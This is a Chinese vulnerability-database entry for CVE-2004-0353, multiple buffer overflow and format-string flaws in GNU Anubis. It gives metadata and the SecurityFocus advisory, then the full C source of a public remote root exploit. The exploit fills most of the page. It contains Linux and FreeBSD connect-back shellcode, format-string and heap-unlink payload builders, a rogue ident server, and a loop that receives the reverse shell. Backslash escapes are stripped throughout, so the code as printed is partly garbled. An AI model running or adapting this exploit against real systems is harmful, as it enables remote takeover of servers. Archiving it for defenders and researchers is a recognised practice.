GNU Anubis多个远程缓冲区溢出和格式化字符串漏洞

GNU Anubis多个远程缓冲区溢出和格式化字符串漏洞

漏洞ID 1107761 漏洞类型 缓冲区溢出
发布时间 2004-03-01 更新时间 2005-10-20
图片[1]-GNU Anubis多个远程缓冲区溢出和格式化字符串漏洞-安全小百科CVE编号 CVE-2004-0353
图片[2]-GNU Anubis多个远程缓冲区溢出和格式化字符串漏洞-安全小百科CNNVD-ID CNNVD-200411-071
漏洞平台 Linux CVSS评分 10.0
|漏洞来源
https://www.exploit-db.com/exploits/23772
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200411-071
|漏洞详情
GNUAnubis3.6.0到3.6.2,3.9.92和3.9.93版本的auth.c中的auth_ident()函数存在多个缓冲区溢出漏洞。远程攻击者可以借助一个超长字符串获取权限。
|漏洞EXP
source: http://www.securityfocus.com/bid/9772/info
 
GNU Anubis has been reported prone to multiple buffer overflow and format string vulnerabilities. It has been conjectured that a remote attacker may potentially exploit these vulnerabilities to have arbitrary code executed in the context of the Anubis software. The buffer overflow vulnerabilities exist in the 'auth_ident' function in 'auth.c'. The format string vulnerabilities are reported to affect the 'info' function in 'log.c', the 'anubis_error' function in 'errs.c' and the 'ssl_error' function in 'ssl.c'.
 
These vulnerabilities have been reported to exist in GNU Anubis versions 3.6.0, 3.6.1, 3.6.2, 3.9.92, and 3.9.93. It is possible that other versions are affected as well.
 
These issues are undergiong further analysis, they will be divided into separate BIDs as analysis is completed.

/*
 * anubisexp.c
 *
 * GNU Anubis 3.6.2 remote root exploit by CMN
 *
 * <cmn at darklab.org>, <cmn at 0xbadc0ded.org>
 * Bug found by Ulf Harnhammar.
 *
 * 2004-03-10
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <string.h>
#include <netdb.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/param.h>
#include <sys/wait.h>
#include <sys/select.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#define DUMMY            0x41414141
#define BUFSIZE          512
#define AUTH_PORT        113
#define ANUBIS_PORT      24
#define IP_INDEX         5
#define PORT_INDEX       11

#define PREV_INUSE       0x1
#define IS_MMAP          0x2
#define NON_MAIN_ARENA   0x4
#define FMTSTR           0x1
#define OVERFLOW         0x2

#define JMPCODE          "xebx0c"

static int connect_target = 0;
static int start_auth = 0;

    /* Connect back */
static char linux_code[] =
    "x31xc0x50x50x68xc0xa8x01x01x66x68x30x39xb0x02"
    "x66x50x89xe6x6ax06x6ax01x6ax02x89xe1x31xdbx43"
    "x30xe4xb0x66xcdx80x89xc5x6ax10x56x55x89xe1xb3"
    "x03xb0x66xcdx80x89xebx31xc9x31xc0xb0x3fxcdx80"
    "x41xb0x3fxcdx80x41xb0x3fxcdx80x31xd2x52x68x2f"
    "x2fx73x68x68x2fx62x69x6ex89xe3x52x53x89xe1xb0"
    "x0bxcdx80x31xc0x40xcdx80";

    /* Connect back */
static char freebsd_code[] =
    "x31xc0x50x50x68xc0xa8x01x01x66x68x30x39xb4x02"
    "x66x50x89xe2x66x31xc0x50x40x50x40x50x50x30xe4"
    "xb0x61xcdx80x89xc7x31xc0xb0x10x50x52x57x50xb0"
    "x62xcdx80x50x57x50xb0x5axcdx80xb0x01x50x57x50"
    "x83xc0x59xcdx80xb0x02x50x57x50x83xc0x58xcdx80"
    "x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3"
    "x50x53x89xe2x50x52x53x50xb0x3bxcdx80x31xc0x40"
    "x50x50xcdx80";

struct target {
    char type;
    char *desc;
    char *code;
    u_int bufaddr;  /* static buf on line 266 in net.c, used by recv() */
    u_int retloc;
    u_int offset;
    u_int written;
    u_int pad;
};


struct target targets[] = {
    /* .GOT free */
    { OVERFLOW, "Linux anubis-3.6.2-1.i386.rpm [glibc < 3.2.0] (overflow)",
        linux_code, 0x08056520, 0x08056464, 305, 0x00, 0x00 },

    /* .GOT strlen */
    { FMTSTR, "Linux anubis-3.6.2-1.i386.rpm (fmt, verbose)", linux_code,
        0x08056520, 0x080563bc, 10*4, 32, 1 },

    /* .dtors */
    { FMTSTR, "FreeBSD anubis-3.6.2_1.tgz (fmt)", freebsd_code,
        0x805db80, 0x0805cc10+4, 12*4, 20, 1 },

    /* .GOT getpwnam */
    { FMTSTR, "FreeBSD anubis-3.6.2_1.tgz (fmt, verbose)", freebsd_code,
        0x805db80, 0x0805ce18, 15*4, 32, 1 },

    { -1, NULL, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }
};


int
sock_connect(u_long ip, u_short port)
{
    struct sockaddr_in taddr;
    int sock_fd;

    memset(&taddr, 0x00, sizeof(struct sockaddr_in));
    taddr.sin_addr.s_addr = ip;
    taddr.sin_port = port;
    taddr.sin_family = AF_INET;

    if ( (sock_fd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
        perror("** socket()");
        return(-1);
    }

    if (connect(sock_fd, (struct sockaddr *)&taddr,
            sizeof(taddr)) < 0) {
        perror("** connect()");
        return(-1);
    }
    return(sock_fd);
}


long
net_inetaddr(u_char *host)
{
    long haddr;
    struct hostent *hent;

    if ( (haddr = inet_addr(host)) < 0) {
        if ( (hent = gethostbyname(host)) == NULL)
            return(-1);

        memcpy(&haddr, (hent->h_addr), 4);
    }
    return(haddr);
}

long
net_localip(void)
{
    u_char lname[MAXHOSTNAMELEN +1];
    struct in_addr addr;
    memset(lname, 0x00, sizeof(lname));

    if ( gethostname(lname, MAXHOSTNAMELEN) < 0)
        return(-1);

    addr.s_addr = net_inetaddr(lname);
    return(addr.s_addr);
}


char *
unlinkchunk(u_int ret, u_int retloc, size_t words)
{
    u_int *chunk;
    size_t i=0;

    if (words < 14) {
        fprintf(stderr, "unlinkchunk(): Small buffern");
        return(NULL);
    }

    if ( (chunk = calloc(words*sizeof(u_int)+1, 1)) == NULL) {
        perror("calloc()");
        return(NULL);
    }

    chunk[i++] = -4;
    chunk[i++] = -4;
    chunk[i++] = -4;
    chunk[i++] = ret;
    chunk[i++] = retloc-8;

    chunk[i++] = -4;
    chunk[i++] = -4;
    chunk[i++] = -4;
    chunk[i++] = ret;
    chunk[i++] = retloc-8;

    for (; i<words; i++) {

        /* Relative negative offset to first chunk */
        if (i % 2)
            chunk[i] = ((-(i-8)*4) & ~(IS_MMAP|NON_MAIN_ARENA))|PREV_INUSE;
        /* Relative negative offset to second chunk */
        else
            chunk[i] = ((-(i-3)*4) & ~(IS_MMAP|NON_MAIN_ARENA))|PREV_INUSE;
    }
    return((char *)chunk);
}

int
mkfmtstr(struct target *tgt, u_int ret,
        char *buf, size_t buflen)
{
    size_t pad;
    size_t espoff;
    size_t written;
    int tmp;
    int wb;
    int i;

    if (buflen < 50) {
        fprintf(stderr, "mkfmtstr(): small buffern");
        return(-1);
    }
    memset(buf, 'P', tgt->pad % 4);
    buf += tgt->pad % 4;
    written = tgt->written;

    /* Add dummy/retloc pairs */
    *(u_long *)buf = DUMMY;
    *(u_long *)(buf +4) = tgt->retloc;
    buf += 8;
    *(u_long *)buf = DUMMY;
    *(u_long *)(buf +4) = tgt->retloc+1;
    buf += 8;
    *(u_long *)buf = DUMMY;
    *(u_long *)(buf +4) = tgt->retloc+2;
    buf += 8;
    *(u_long *)buf = DUMMY;
    *(u_long *)(buf +4) = tgt->retloc+3;
    buf += 8;
    buflen -= 32;
    written += 32;

    /* Stackpop */
    for (espoff = tgt->offset; espoff > 0; espoff -= 4) {
        snprintf(buf, buflen, "%%08x");
        buflen -= strlen("%08x");
        buf += strlen("%08x");
        written += 8;
    }

    /* Return address */
    for (i=0; i<4; i++) {
        wb = ((u_char *)&ret)[i] + 0x100;
        written %= 0x100;
        pad = (wb - written) % 0x100;
        if (pad < 10)
                pad += 0x100;
        tmp = snprintf(buf, buflen,
            "%%%du%%n", pad);
        written += pad;
        buflen -= tmp;
        buf += tmp;
    }

    return(buflen >= 0 ? written : -1);
}


int
evil_auth(u_short port, char *ident, size_t identlen)
{
    struct sockaddr_in client;
    struct sockaddr_in laddr;
    u_int addrlen = sizeof(struct sockaddr_in);
    int lsock, csock;
    char input[128];

    if ( (lsock = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
        perror("** socket()");
        return(-1);
    }

    memset(&laddr, 0x00, sizeof(struct sockaddr_in));
    laddr.sin_family = AF_INET;
    laddr.sin_port = port;
    laddr.sin_addr.s_addr = INADDR_ANY;

    if (bind(lsock, (struct sockaddr *)&laddr, sizeof(laddr)) < 0) {
        perror("** bind()");
        return(-1);
    }

    if (listen(lsock, 1) < 0) {
        perror("** listen()");
        return(-1);
    }

    printf("[*] Awaiting auth connectionn");
    if ( (csock = accept(lsock, (struct sockaddr *)&client,
            &addrlen)) < 0) {
        fprintf(stderr, "** Connection errorn");
        return(-1);
    }

    if (getpeername(csock, (struct sockaddr *)&client, &addrlen) < 0)
        perror("** getpeername()");
    else
        printf("[*] %s:%u connected to authn",
            inet_ntoa(client.sin_addr), ntohs(client.sin_port));

    if (read(csock, input, sizeof(input)) <= 0) {
        perror("** write()");
        return(1);
    }

    printf("[*] Sending evil identn");

    if (write(csock, ident, identlen) != identlen) {
        perror("** write()");
        return(1);
    }

    if (close(csock) < 0 || close(lsock < 0)) {
        perror("** close()");
        return(1);
    }

    return(0);
}

void
signal_handler(int signo)
{
    if (signo == SIGUSR1) {
        start_auth++;
        connect_target++;
    }
    else if (signo == SIGALRM) {
        fprintf(stderr, "** Timed out while waiting for connect backn");
        kill(0, SIGTERM);
        exit(EXIT_FAILURE);
    }
}


int
get_connectback(pid_t conn, int lsock)
{
    char inbuf[8192];
    u_int addrlen = sizeof(struct sockaddr_in);
    struct sockaddr_in client;
    int csock;
    fd_set readset;
    ssize_t n;
    int nfd;

    if (listen(lsock, 1) < 0) {
        perror("** listen()");
        return(-1);
    }

    /* Timeout */
    signal(SIGALRM, signal_handler);
    alarm(5);

    /* Signal connect */
    kill(conn, SIGUSR1);
    waitpid(conn, NULL, 0);

    printf("[*] Awaiting connect backn");
    if ( (csock = accept(lsock, (struct sockaddr *)&client,
            &addrlen)) < 0) {
        fprintf(stderr, "** Connection errorn");
        return(-1);
    }
    alarm(0);
    printf("[*] Target connected backnn");
    wait(NULL); /* Reap of last child */
    write(csock, "idn", 3);

    if ( (nfd = csock +1) > FD_SETSIZE) {
        fprintf(stderr, "** SASH Error: FD_SETSIZE to small!rn");
        return(1);
    }

    FD_ZERO(&readset);
    FD_SET(csock, &readset);
    FD_SET(STDIN_FILENO, &readset);

    for (;;) {
        fd_set readtmp;
        memcpy(&readtmp, &readset, sizeof(readtmp));
        memset(inbuf, 0x00, sizeof(inbuf));

        if (select(nfd, &readtmp, NULL, NULL, NULL) < 0) {
            if (errno == EINTR)
                continue;
            perror("select()");
            return(1);
        }

        if (FD_ISSET(STDIN_FILENO, &readtmp)) {
            if ( (n = read(STDOUT_FILENO, inbuf, sizeof(inbuf))) < 0) {
                perror("read()");
                break;
            }
            if (n == 0) break;
            if (write(csock, inbuf, n) != n) {
                perror("write()");
                return(1);
            }
        }

        if (FD_ISSET(csock, &readtmp)) {
            if ( (n = read(csock, inbuf, sizeof(inbuf))) < 0) {
                perror("read()");
                break;
            }
            if (n == 0) break;
            if (write(STDOUT_FILENO, inbuf, n) != n) {
                perror("write()");
                return(1);
            }
        }
    }
    return(0);
}


void
usage(char *pname)
{
    int i;

    printf("nUsage: %s host[:port] targetID [Option(s)]n", pname);
    printf("n  Targets:n");
    for (i=0; targets[i].desc != NULL; i++)
        printf("     %d   -   %sn", i, targets[i].desc);
    printf("n  Options:n");
    printf("    -b ip[:port]  - Local connect back addressn");
    printf("    -l retloc     - Override target retlocn");
    printf("    -r ret        - Override target retn");
    printf("    -w written    - Bytes written by target fmt funcn");
    printf("n");
}


int
main(int argc, char *argv[])
{
    u_char buf[BUFSIZE+1];
    u_char fmt[220];
    char *chunk = NULL;
    struct sockaddr_in taddr;
    struct sockaddr_in laddr;
    u_short auth_port;
    struct target *tgt;
    pid_t pid1, pid2;
    u_int ret = 0;
    int lsock;
    char *pt;
    int i;


    printf("n     GNU Anubis 3.6.2 remote root exploit by CMNn");
    if (argc < 3) {
        usage(argv[0]);
        exit(EXIT_FAILURE);
    }
    printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-n");

    memset(&taddr, 0x00, sizeof(struct sockaddr_in));
    taddr.sin_port = htons(ANUBIS_PORT);
    taddr.sin_family = AF_INET;
    taddr.sin_addr.s_addr = INADDR_ANY;
    auth_port = htons(AUTH_PORT);

    memset(&laddr, 0x00, sizeof(struct sockaddr_in));
    laddr.sin_family = AF_INET;
    laddr.sin_port = 0;
    laddr.sin_addr.s_addr = net_localip();

    if ( (pt = strchr(argv[1], ':'))) {
        *pt++ = '';
        taddr.sin_port = htons((u_short)strtoul(pt, NULL, 0));
    }

    if ( (long)(taddr.sin_addr.s_addr = net_inetaddr(argv[1])) == -1) {
        fprintf(stderr, "Failed to resolve target host/IP"%s"n",
            argv[1]);
         exit(EXIT_FAILURE);
    }
    argv++;
    argc--;

    i = strtoul(argv[1], NULL, 0);
    if (argv[1][0] == '-'|| (i<0) ||
             i>= sizeof(targets)/sizeof(struct target)-1) {
        fprintf(stderr, "** Bad target IDn");
        exit(EXIT_FAILURE);
    }
    argv++;
    argc--;

    tgt = &targets[i];

    while ( (i = getopt(argc, argv, "r:l:w:b:")) != -1) {
        switch(i) {
            case 'b': {

                if ( (pt = strchr(optarg, ':'))) {
                    *pt++ = '';
                    laddr.sin_port = htons((u_short)strtoul(optarg,
                        NULL, 0));
                }

                if ( (long)(laddr.sin_addr.s_addr = net_inetaddr(optarg))
                        == -1) {
                    fprintf(stderr, "Failed to resolve target host/IP
                        "%s"n", optarg);
                    exit(EXIT_FAILURE);
                }
            }
            case 'r': ret = strtoul(optarg, NULL, 0); break;
            case 'l': tgt->retloc = strtoul(optarg, NULL, 0); break;
            case 'w': tgt->written = strtoul(optarg, NULL, 0); break;
            default: exit(EXIT_FAILURE);
        }
    }


    /* Local address */
    if ( (lsock = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
        perror("** socket()");
        exit(EXIT_FAILURE);
    }

    if (bind(lsock, (struct sockaddr *)&laddr, sizeof(laddr)) < 0) {
        perror("** bind()");
        exit(EXIT_FAILURE);
    }

    /* Connect back address */
    {
        int len = sizeof(struct sockaddr_in);
        struct sockaddr_in paddr;
        if (getsockname(lsock, (struct sockaddr *)&paddr, &len) < 0) {
            perror("** getsockname()");
            exit(EXIT_FAILURE);
        }
        (*(u_short *)&tgt->code[PORT_INDEX]) = paddr.sin_port;
        (*(u_int *)&tgt->code[IP_INDEX]) = paddr.sin_addr.s_addr;

        printf("local addr: %s:%un", inet_ntoa(paddr.sin_addr),
            ntohs(paddr.sin_port));

        if (!(paddr.sin_port & 0xff00) || !(paddr.sin_port & 0xff00) ||
            !(paddr.sin_addr.s_addr & 0xff000000) ||
            !(paddr.sin_addr.s_addr & 0x00ff0000) ||
            !(paddr.sin_addr.s_addr & 0x0000ff00) ||
            !(paddr.sin_addr.s_addr & 0x000000ff)) {
            fprintf(stderr, "** Zero byte(s) in connect back addressn");
            exit(EXIT_FAILURE);
        }
    }

    /*
     * We insert a 'n' to control the size of the data
     * passed on the the vulnerable function.
     * But all 512 bytes are read into a static buffer, so we
     * just add the shellcode after 'n' to store it.
     */
    if (tgt->type == FMTSTR) {
        if (!ret)
            ret = tgt->bufaddr+260;

        if (mkfmtstr(tgt, ret, fmt, sizeof(fmt)) < 0)
            exit(EXIT_FAILURE);
        memset(buf, 0x90, sizeof(buf));
        memcpy(&buf[BUFSIZE-strlen(tgt->code)-4],
            tgt->code, strlen(tgt->code)+1);
        i = snprintf(buf, sizeof(buf), "a: USERID: a: %sn", fmt);
        if (buf[i] == '') buf[i] = 0x90;
    }
    else {

        if (!ret)
            ret = tgt->bufaddr+tgt->offset+24;
        memset(buf, 0x90, sizeof(buf));

        memcpy(&buf[sizeof(buf)-strlen(tgt->code)-4],
            tgt->code, strlen(tgt->code)+1);

        if ( (chunk = unlinkchunk(ret, tgt->retloc, 64/4)) == NULL)
            exit(EXIT_FAILURE);

        i = snprintf(buf, sizeof(buf), "a: USERID: a:   %s", chunk);
        if (buf[i] == '') buf[i] = 0x90;

        /* Set free address */
        *((u_int *)&buf[tgt->offset]) = tgt->bufaddr + 68;

        /* Return point */
        memcpy(&buf[(tgt->offset+24)], JMPCODE, sizeof(JMPCODE)-1);
        buf[tgt->offset+4] = 'n';
    }

    printf("    Target: %sn", tgt->desc);
    printf("    Return: 0x%08xn", ret);
    printf("    Retloc: 0x%08xn", tgt->retloc);
    if (tgt->type == FMTSTR) {
        printf("    offset: %u bytes%sn", tgt->offset,
            tgt->offset==1?"s":"");
        printf("   Padding: %u byte%sn", tgt->pad,
            tgt->pad==1?"s":"");
        printf("   Written: %u byte%sn", tgt->written,
            tgt->written==1?"s":"");
    }
    printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-nn");

    if (!(ret & 0xff000000) ||
        !(ret & 0x00ff0000) ||
        !(ret & 0x0000ff00) ||
        !(ret & 0x000000ff)) {

        fprintf(stderr, "** Zero byte(s) in return addressn");
        exit(EXIT_FAILURE);
    }

    if (!(tgt->retloc & 0xff000000) ||
        !(tgt->retloc & 0x00ff0000) ||
        !(tgt->retloc & 0x0000ff00) ||
        !(tgt->retloc & 0x000000ff)) {

        fprintf(stderr, "** Zero byte(s) in retlocn");
        exit(EXIT_FAILURE);
    }

    signal(SIGUSR1, signal_handler);

    if ( (pid1 = fork()) < 0) {
        perror("** fork()");
        exit(EXIT_FAILURE);
    }

    /* Auth server */
    if (pid1 == 0) {
        kill(getppid(), SIGUSR1);
        signal(SIGUSR1, signal_handler);
        while (!start_auth);
        if (evil_auth(auth_port, buf, strlen(buf)) != 0)
            kill(getppid(), SIGTERM);
            exit(EXIT_SUCCESS);
    }

    if ( (pid2 = fork()) < 0) {
        perror("** fork()");
        kill(pid1, SIGTERM);
        exit(EXIT_FAILURE);
    }

    /* Connect to trigger */
    if (pid2 == 0) {
        int anubis_sock;

        signal(SIGUSR1, signal_handler);
        while (!connect_target);
        if ( (anubis_sock = sock_connect(taddr.sin_addr.s_addr,
                taddr.sin_port)) < 0) {
            exit(EXIT_FAILURE);
        }
        exit(EXIT_SUCCESS);
    }

    /* Start auth */
    while(!start_auth);
    kill(pid1, SIGUSR1);

    if (get_connectback(pid2, lsock) < 0) {
        kill(0, SIGTERM);
        exit(EXIT_FAILURE);
    }

    exit(EXIT_SUCCESS);
}
|参考资料

来源:BID
名称:9772
链接:http://www.securityfocus.com/bid/9772
来源:XF
名称:anubis-ident-bo(15345)
链接:http://xforce.iss.net/xforce/xfdb/15345
来源:BUGTRAQ
名称:20040310GNUAnubis3.6.2remoterootexploit
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=107894315012081&w;=2
来源:BUGTRAQ
名称:20040304GNUAnubisbufferoverflowsandformatstringbugs
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=107843915424588&w;=2
来源:MLIST
名称:[bug-anubis]20040228Importantsecurityupdate
链接:http://mail.gnu.org/archive/html/bug-anubis/2004-02/msg00000.html

相关推荐: Check Point Firewall-1 HTTP代理服务器未授权协议访问漏洞

Check Point Firewall-1 HTTP代理服务器未授权协议访问漏洞 漏洞ID 1203848 漏洞类型 权限许可和访问控制 发布时间 2002-09-19 更新时间 2002-12-31 CVE编号 CVE-2002-2405 CNNVD-ID…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享